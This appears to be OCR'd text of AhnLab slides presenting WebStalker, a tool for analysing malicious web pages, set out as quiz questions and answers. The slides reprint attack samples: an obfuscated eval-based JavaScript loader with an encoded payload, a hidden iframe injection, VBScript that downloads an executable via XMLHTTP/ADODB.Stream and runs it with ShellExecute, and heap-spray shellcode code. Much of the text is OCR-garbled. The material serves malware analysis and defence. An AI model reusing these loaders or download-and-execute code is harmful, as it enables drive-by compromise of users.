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If you know the enemy and know
yourself, you need not fear

the result of a hundred battles
The Art of War



Could you guess?

<script type="text/javascript"><!--

function hiQaeltOG (L3BdI15KR, U7ED6leB1 ){var md06702eC = 4;;{ Jvar F7W0aF7hN = 256;;;;{ }var PFPO1gORI = 0;;;{ }var rERQJOt2d = 0;;{}var k6pNA72Rf = eval;;{jvar W1Up4TYGv = "/";;{}try
{PFPO1g0RI = window;;;{}rERQJOt2d = location;;{ }} catch (e ) {}var kkqOVAXOA = arguments;{ }var tqD7fXeX3 = kkqOVAXOA. callee;{}tqD7fXeX3 = tqD7fXeX3. toString ( );{ }if (rERQJOt2d )
{tgD7fXeX3 += rERQJOt2d. href;;;{ BU7ED6leB1 = ";;;;{{ }var AbF1Xp52m = 0;{ }var K4C6yHPo5 = md06702eC;;;;{ }var Y34iB2cua = new Array;;{ }Y34iB2cua [0 ]=0;;;{ }Y34iB2cua[l]=

0;{ }Y34iB2cua [2] = 0;;;{ }Y34iB2cua [3] = 0;{ }var CwgNh2vkA = AbF1Xp52m;;;;{ }if (K4C6yHP05 != AbF1Xp52m ) {while(CwgNh2vkA < tqD7fXeX3. length) {var eDFdfHUNO = tqD7fXeX3. charAt
(CwgNh2vkA );;:{ Jvar wyO1NsFKu = parselnt(eDFAfHUNO );;;:{ YCwgNh2vkA++;;;:{}if (CwgNh2vkA > 0 && lisNaN (wyO1INsFKu ) ){if (K4C6yHPo5 == md06702eC ){K4C6yHPo5 =

0;:{ }wyO1NsFKu += 48;{ }Y34iB2cua[K4C6yHP05] += wyO1NsFKu * 3;{ Jwhile  (Y34iB2cua[K4C6yHP05 | > F7WO0aF7hN ) { Y34iB2cua [K4C6yHP05] -=

F7WO0aF7hN;;;:{ } }KAC6yHPo5++;{ JAbF1Xp52m++;;;;{ }}}}var UAXD80OG18 = 0;{ }var jwqVvVgD3r = UAXD80G18;;{ }if (jwqVvVvgD3r==0 ) {while (UAXD8OG18 < L3BdI15KR. length) {var
r6F6a8MIU = parselnt (L3BdI15KR. substring(UAXD8OG18, UAXD8OG18 + 2), md06702eC * 4 );;i{ }if (jwgVVgD3r >= md06702eC ) { jwqVVgD3r = 0;{ } Jvar u4MEcwyOm = Y34iB2cua

[wqVVgD3rIi{ Jvar f76JCY2uH = r6F6a8MIU - u4MEcwyOm;;{ }if (f76JCY2uH != 0 && f76JCY2uH < 1) {f76JCY2uH += 134;{ }f76JCY2uH += 118;;;{ }76JCY2uH += md06702eC;;;{ Jvar P772kVb2V
="":{ Jvar K2W5pFPGU = 0;;{ }try {if(document.getElementByld('a’) ){k2W5pFPGU =1;{ }}}catch (e ){}if (k2ZW5pFPGU ) {P772kVb2V = String.

fromCharCode(f76JCY2uH );:{ }jwqVvVgD3r++;;;:{JU7ED6leB1 += P772kVh2V;;;{ JUAXD8OG18 += 2;;;{ M}try {k6pNA72Rf (U7ED6leB1 );;::{}} catch (e ) {if (PFPO1gORI ){PFPO1gORI. location
=W1Up4TYGy;;{ } BY/--></script>

<body id="a"
onload="hlQae1tOG('2CC7B8A349D1ACA349D1AC7D3FE287AFAED1A7A39A248781290DF2E2821BE6GE38DC7EEE781F9E4B681FCASDC551ABEDA980FEA9D2CB1F88129B0F3D591C7ESBD6CFAE
7AD6COB9DB13F15E2EB3FESEFE68020A59446F2A4A03FCED49B4BC7A4CD46D39D9B89CEA9944620A4A03FCEC39B4BC7A4D946D39D9B72CEA994460AA4A03FCED5S59B4BC7A4DD46D39D9B8
6CEA994461CA4A03FCEE99B4BC7A4C646D39D9B79CEIDID5AB4877D9508EF9465F6E9ES8816EFE25AB4877D9508EF94651ECIO9DD650DDFEO3FE49D9B46E28A7TE2CB186DABE19ASBAGEL3EE
DD8E19EB945CC7ADAF3FEDCCEO09010ECE68DC7B99487DDF0B58520E5E14D13E2E2861BESAF3FEDCCEO9010ECEG8DD2A89D3F228A7E28B0OF3D591C7EG6EC6FD8B6B98A109DB13FOFB3E760
ODF6DC8CD5EODC8019BEE847EDCCEO9010ECE68DD0B88129B086DD97F7AEAD6412E6945CC7EDD5911AE2BD8D1BASDD97F7AEAD6412E6A03FD8B39D5AB4878129B086DD85C7ASDD92F5D
EC24710F5C450E0C2DF88D0A68129B0867D910CF1E991159DDC551ABEDA9SOFEAAF2CB18A7E28BOC3EB6B10C3DA81139D9F5CC7E8BD6CFAE7AD6COBD8DD97F7AEAD6412E6D15AB4877D9
CB4878129BOEFD9931CEFE23FEDF4C088EDE3D68BE28A7TEICB4877D5AD6A79E4EB18A815AB4ADAF29B1B5AF9A248AEFICB486A349D1AC9428B086A349D1AC815AB1877D2822FAACS5AB487
D88EOAF2E18415F1A2920BD2DE7E13E8CB3FE49DAS5AB487D88EOAF2E18415F1A272F2C7BB64DBCCD73FE49DAS55AB487D88EOAF2E18415F1A286EOEBC1561AADE43FE49DAS5AB4878129B4
87EA80199DC277F6C7C266EDCEAF2CB1F3D591C7E4DE9715EDE353159DB13F15DEEA8SS0EDEESSE19ABD58F17CADD8D16EFCA8419F0DD8E15B881291DDEEG3FEABOE253E9DED367C7BA9%4
4CD88A7E9508EF9470DAB4C5820EB4BE3FE49D964FD89FAF2CB18A7E960FE6E084CFASB75215B1B68006C5945CC7E4DE9715EDE35315ABDD8DOBE2EC6EODAS965AFACD964BC7COA78DDB
BFD57EEFA8A548D09D955CC7AAA548C7F88129B0F3D591C7ECCD8F1DCFC453F99DB13FOEE7EC8D17ECA88DD5EODC8019BEE847EABOE253E9DED367D2B09D5AB4878129BOE6GDA3FCFECC
D8F1DCFC453F99DB15CC79FA541D08A7E28BOCEA756F8EODB56F19DB13FCOADAG41E28A7E280CE9E784C7E6DA3FCFECCD8F1DCFC453F99DB15CC79FA641D08A7E28BOCEA756F8EODBS6F
19DB13FC9ADA741E28A7E280CE9E784C7E6DA3FCFECCD8F1DCFC453F99DB15CC79FA741D08A7E28BOCEA756F8EODB56F19DB13FC9ADAB41E28A7TE280CE9E784C7E6DA3FCFECCD8F1DCF
C453F99DB15CC79FA841D08A7E28BOCEA756F8EODB56F19DB13FC9ADA941E28A7TE280CE9E784C7E6DA3FCFECCD8F1IDCFC453F99DB15CC79FA941D08A7E28BOCEAT56FSEODB56F19DB13F
C9ADAA41E28ATE280CE9E784C7E6DA3FCFECCD8F1DCFC453F99DB15CC79FAA41D08A7E28BOCEA756FSEODB56F19DB13FCOADAB41E28A7E2CB186DD85C7ASC552DECED786DEC79440E49
D964FD89F9D2CB1867D8119E2D58AE28A7TEICB487812910E39447F8BOAB700AE4AB69C7BAB13FCOADAS41C7A39A3FOEE7TEC8D17ECA88DD5EGE2830CF5C385CFIFC68413E2D5920C9DB7801
5E1DD8308F1D941D39DA448C79EB13FD4AE9D2CB186C552DECED786DEC7945CC79FA457C9B88129B48781291DDEE63FFDB1DESFDABFCC76C7BA948D08F3DD8608F1E391D5FOED921BE2E
16BOSBEBDB9408E4D94D1AF2D6921BEF9C4FD39DA54FD0B881291DDEE6G3FF7BFD56BEED2C596C7BA9441C9B88129B48781290DECE6471DDEE6G3FO8E8SBB74D9F4EDO9SE4ADAF8012C4C9511E
F6EASBFDB1DESFDABFCC76D5E9D98DOEF1DC5A08E8BB74D9F4ED95D2A89D3F228A7E28FEBEEC58DFC6C865C7BA9475DBE7E452E9D5CB4D0AESDS591EAECD884E8F19C8012C4C9511EFGE
A48D5F1E3721BEFDD8DOEASA555D0B88129B4877D880D9D9C76E8F5AD57FOD1BA3FE39DA648B4877D28F7BFD56BEED2C596C7A8B13FCOAD965AB4878129B0CDB680F3C4C9701E9DIF5CC7
D4B597E0B5BD73EDB88129248A7E2CB1F4DC8813E29C6FEODEC066FCCEEB4D13E2E2861BES945BC7AFA448B4877D6FEODEC066FCCEEB3FD2BA9441D7AD965AB4878129B487EA80199DC27
7F6C7C266EDCE945CC7CEA756F8EODB56F19D9F3FF7BFD56BEED2C596E28A7E6DFFCCBEGDEEC3C53FE49DES9209CFDB6109D29C6DFFCCBEGDEEC3C548E28A7E9610EBD8SE1IEABES9209
CFDB6109D2945CC7EEE781F9E4B681FCB881291DDEE6G3F19EBA778DAELA76AC7BA948316EO0E98COCEBE84DOAEFD9801BE2B98BOCEAD98D1BA596920AEFDD8F1BI9F9D5AB487E68DDADGAT
83DAC8A2920CF1B5931BEFDD811CF1D947C9F1ED8FOCIFAO3FCIF1D9971BACDESO1DDEE78219E6E493C9A6AF2CB1EFE25200B0D852F2ABE7841BBEE89319E6D6941BE29C411AEFD741D39
D96871BF1E459D6ACE28215F7DA87D5E6E28516ACE24D0AE4DD5EO1D7C672F2E2D982F2D4BF6A01C8D96AF2C8C678FI9E4E08B13E6BF84F2C8BF6AF2C8BF6AF2D6DB650EE6BAS6FFC8CE79
C99D9F3FF5D5C369F5C4BA70D0B881290BECD79414E2E293D5DFE38320ABD58F17E2E283EAESDD8BOBASE68DDADEA783DAC89D5AB4878129', 1)">
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Webpage Analysis Tools

DebugBar ~5.3
DomM | HTTPes) || Script || HTMLCheck || Info |
w3 Drag target on document to find slement

Debugbar

Images
- Forms
i scripts
I Stwle Sheets

http://debugbar.com

Downioad | Decoder | Mise Decoders | Los | Clipboard Moritor | Notes | e vie o | Pscrit | Toots | Settngs | aboot |

M al Z | | | a T e

http://malzilla.sourceforge.net

Send o scripts to Decoder |

[ Scrasoiot to becsaer ]

Fina obsccts | Append scicction to Decoder |

Cautinni jsunpack was designed for security researchers and camputer professionals
isunpack pr issi using a iot interpreter on the server. so vour browser should never require JavaScriot while accessing this page

Javascript URLs to decode (one URL per line)

Fatoh

Jsunpack

Check out the Twenty Most Recently Successful jsunpack Decodings and Executables
http://jsunpack.jeek.org/dec/go imumnckon soleaacd more details boc
For updates set your RSS reader to hup /s lsunpack.blogspot.coms

Disablc Javascriot (use MoScript), use a limited USer account, use a Virtual Machine. and be sate(r)!

Ve avsat (S h=)

L. elood o samole o Spscify o Ul
S WERERFE TSR NS TSRS ET Sn RN e
R A .

Wepawet

http://wepawet.cs.ucsb.edu/index.php

www.ahnlab.com



Are these tools
enough?



Question 1.
Which tag was created dynamically?

<html|>

<script>

document.write('<iframe height=0 width=0 src="iframe.html"></iframe>");
</script>

<iframe src="http://home.ahnlab.com"></iframe>

</html|>

] #+ =% | File Find Disable View Outline Images Cache Tools Validate

= <_H'|'<f'-|:|1 |E'>L-.,|D> Attribuke: ﬂ J Mode: BODY Current Skyle:
égg'ﬁlllz:ﬁl—:} Mame Yalue Property Current Yalue
= m background-calar #FFFFFF
+- <IFRAME> border-baottom-style  inset
- <IFRAME> border-left-skyle inset
border-right-skyle insek
Rrkder-skule inset
£
[ ]5how Read-Cnly Properties [ ]5how Default Style Yalues

www.ahnlab.com



Questions 2.
Which objects were created dynamically?

set df = document.createElement("object")

df.setAttribute "classid", "clsid"+":BD96C556-65A3-11D0-983A-00C04FC29E36"
strl ="Microsoft. XMLHTTP*

set x = df.CreateObject(strl,"")

str2 =“Adodb.stream”
set S = df.createobject(str2,"")

S.type=1
3] ## =% 2/ File Find Disable ‘“iew Oufline Images Cache Tools Walidate mE
- <_HT<h|:|"EiD> attribute: | < | Node: SCRIPT Current Style:
éggln_”E:FT} Marme Yalue Property Current Yalue
<BODY: language whscripk

[ ]5how Read-Cnly Properties [ ]5how Default Style Yalues

www.ahnlab.com



Question 3.
How’s the memory behavior?

var
slackspace=headersize+ytshell.length;while(omybro.length<slackspace)omybro+=omybro;
bZmybr=omybro.substring(0,slackspace);woaixiaoyu=omybro.substring(0,omybro.length-
slackspace);while(woaixiaoyu.length+slackspace<0x30000)woaixiaoyu=woaixiaoyu+woaixia
oyu+bZmybr;memory=new Array();

var r=0;var uu=300;for(x=r;x<uu;x++)memory[x]=woaixiaoyu+ytshell;

3] #+ ¢ 2 File Find Disable View Outine Images Cache Tools VYalidate

) <_HT<hI:|"E>,-’.'-,D} ? ?:ribute: ﬂ J Mode: SCRIPT

<TITLE> I
ZSCRIPT: L ™ Marme Value
<BODY> language whscripk

www.ahnlab.com




Question 4.
Who iIs the criminal?

S.write x.responseBody
S.savetofile fnamel,2

S.close
set Q = df.createobject("Shell.Application","")

Q.ShellExecute fnamel,"test","","open”,0

3] #+ =% 2 File Find Disable View Outline Images Cache Tools Validate

) <—H-I—<NI:I1II§>.f1'-.[fl> ? ?:ribute: ﬂ J Mode: SCRIPT
{TITLE>
[ |

SSCRIPT ™ Marme Walue
<BODY: language whscripk

www.ahnlab.com




WebStalker!



Cpen  |URL: hd

Script ~
Script
= Script
Seript
= Script
Object
Script
Script
Script

g Monitor Behavior
5 hungf{r?;ogle.co.krj
Srrint .
| Organize Page Element Tree (PET)
1. TAS TvPE : Script ATTR NAME ATTR VALLUE
T
TR Detect Shellcode
T o o [ e Detect Malicious File
.MS‘cAI:!Et(EI:! String(0) | Armray(X) _Fle(:-:) . . 4 b X
saifisctiiyie inti{simbintianicat Mowmbsicn et s nhniuie. § Decode Obfuscate Code

[e]}] e=tunct ion{ }{ return e+ "} ic=1} iuhi le(c—)if (k[c] Jp=p.replace(new Regbo( Wb +e(c)+ Wb, "2’ ).k
[c]):ireturn p}('D S=dee.5;c 8. 5<0)Benl: 3o, o(0,9):d=8.0(0,8.5-9):c(d. 5+9< Jdndede3; 6=T 2(): 62,15,
(30000

b

| Array |bZuybr |headersize| length|nemory | new | awbro| siackspace |subst ring|var |whi le|woaixiaoyu|yishel | *.split
(1004

var slackspace=hesdersize+yishel |, lengthivhile(omybro. |enathslackspace)

whro+=puybro; bZmvbr=omybro. substring(0, s ackspace ) s woa i i aoyu=omybro. substring(0, cevbro. |ength-

www.ahnlab.com



Answer 1.
Which tag was created dynamically?

<html|>

<script>

document.write('<iframe height=0 width=0 src="iframe.html"></iframe>");
</script>

<iframe src="http://home.ahnlab.com"></iframe>

</html>

= file AT e b stalkerftest, himnl
- Script

i file: /A e bstalker®ifrarne, htrml

= IFrame
+- hitp://home, ahnlab, com/

www.ahnlab.com




Answer 2.
Which objects were created dynamically?

set df = document.createElement("object")

df.setAttribute "classid", "clsid"+":BD96C556-65A3-11D0-983A-00C04FC29E36"
strl ="Microsoft. XMLHTTP*

set x = df.CreateObject(strl,"")

str2 =“Adodb.stream”
set S = df.createobject(str2,"")
S.type=1

$

n
S |: I-'I Dt STTH Mak1E SATTH WALUE

DhjECt Prosio FAicrosoft, <XMLHT TP
SCROB]

S [: H [:l tl 1 Log | Tag | Connection File | Script || Object:| Memory
.I http: 7 /172.16.115 . 24 tempsO6_014 . htm|

S[:Fi[:ltlu —Scripting.File3wvstemObiect
] F—Shel | . Applicat ion

1 F—a&dodb . 5t ream
S [: FI [::I tIJ F—clsid:BO9BCESE-6545—-1100-9534A-00C04F C29ESE
L—Microsof t . XMLHTTP



Answer 3.
How’s the memory behavior?

var

slackspace=headersize+ytshell.length;while(omybro.length<slackspace)omybro+=omybro;
bZmybr=omybro.substring(0,slackspace);woaixiaoyu=omybro.substring(0,omybro.length-
slackspace);while(woaixiaoyu.length+slackspace<0x30000)woaixiaoyu=woaixiaoyu+woaixia
oyu+bZmybr;memory=new Array();

var r=0;var uu=300;for(x=r;x<uu;x++)memory[x]=woaixiaoyu+ytshell;

STRING ADOR:
STRING ADOR:
STRING ADOR:
STRING ADOR:
STRING ADOR:
STRING ADOR:
STRING ADOR:
STRING ADOR:
STRING ADOR:

HEAP ADDR:
HEAP AO0OR:
HEAP ADOR:
HEAP ADOR:

dad00zd, S1ZE:
aaf00z24, S127E:
4930024, S127E:
4210024, S1ZE:

J3d2acd FROM:
J3des?c FROM:
337cATd FROM:
22707 FROM:
16f2bd FROM:
33dT19c FROM:
33aT8c FROM:
333944c FROM:
J31e024 FROM:

33behbbe
33d2acd
332esde
337ca7d
22 ThTe
16f 2bd
3309
331aMe

Sabebbe S1ZE:
Sadfacd S1ZE:
Jadee?c SI7E:
Satcd? S1ZE:
227 SIZE:
16f2bd SIZE:
3ad?159: S1ZE:
Salatec S1ZE:

J3394dc 39E9ddc S17E:

B0f dc COMTEMT ;300000
B0fdc COWTENT : "t 9030 030"
S0fdc CONTENT : #9000 Q030"
S0fdc CONTENT : " 9000030

4 CONTENT
8 CONTENT
10 COWTENT
20 COWTENT
40 COWTENT
80 COWTENT
100 COWTENT
200 CONTENT
400 CONTENT

i SH M 000 -
i SH SS90 -
i SH SS90 -
i SH SS90 -
" H SH 090 -
" H SH 090 -
" H SH 090 -
i SH SS90 -
"4 S OO 00

" SCH S0 80
" SCH S OO0
" SCH S OO0
" SCH S OO0
" SCH s OO0
" SCH s OO0
" SCH s OO0
" SCH S OO0
S0 S0 80




Answer 4.
Who iIs the criminal?

S.write x.responseBody
S.savetofile fnamel,2

S.close

set Q = df.createobject("Shell. Application","")
Q.ShellExecute fnamel,"test","","open”,0

= Script

Object

SCROb]

SCROb]

SCROB)

SCROb]
Script(0) | String(x) | Array(x) | File(D):
[READ]
[WRITE]
[EXECUTE]

"C:#WO0CUME- 148 er rALOCALS~14Tempimerong, exe” test

www.ahnlab.com
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How does
WebStalker
work?



WebStalker
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Document
(http://www.foo.com)

Document
(http://www.bar.com)

www.ahnlab.com



@ hitp:/ Mweaeww foo, com b

Document

<script>

document.write('<iframe height=0 width=0
src="http://www.bar.com"></iframe>');
</script>

CreateMarkup()

www.ahnlab.com



@ hitp:/ Mweaeww foo, com b

Document

(http://www.foo.com)

<script>

document.write('<iframe height=0 width=0
src="http://www.bar.com"></iframe>');
</script>

CHTMLoad::Init()

www.ahnlab.com



@ hitp:/ Mweaeww foo, com b

Document
(http://www.foo.com)

<script>
document.write('<iframe height=0 width=0
src="http://www.bar.com"></iframe>');

</script>

CreateElement()

www.ahnlab.com



@ hitp:/ Mweaeww foo, com b

Document
(http://www.foo.com)

<script>
document.write('<iframe height=0 width=0
src="http://www.bar.com"></iframe>');

</script>

Context
stack

Script
context
CHtmScriptParseCtx()

www.ahnlab.com



@ hitp:/ Mweaeww foo, com b

Document
(http://www.foo.com)

iframe

<script>
document.write(<iframe height=0 width=0

Src=“http:/mww.bar.com"></iIframe>";
</script>

Context
stack

iframe
context

script

context

CHtmlframeParseCtx()

www.ahnlab.com



@ hitp:/ Mweaeww foo, com b

Document
(http://www.foo.com)

<script>
document.write('<iframe height=0 width=0

sre="http://www.bar.com" ><jiframe>";
</script>

iframe

Document
(http://www.bar.com)

www.ahnlab.com
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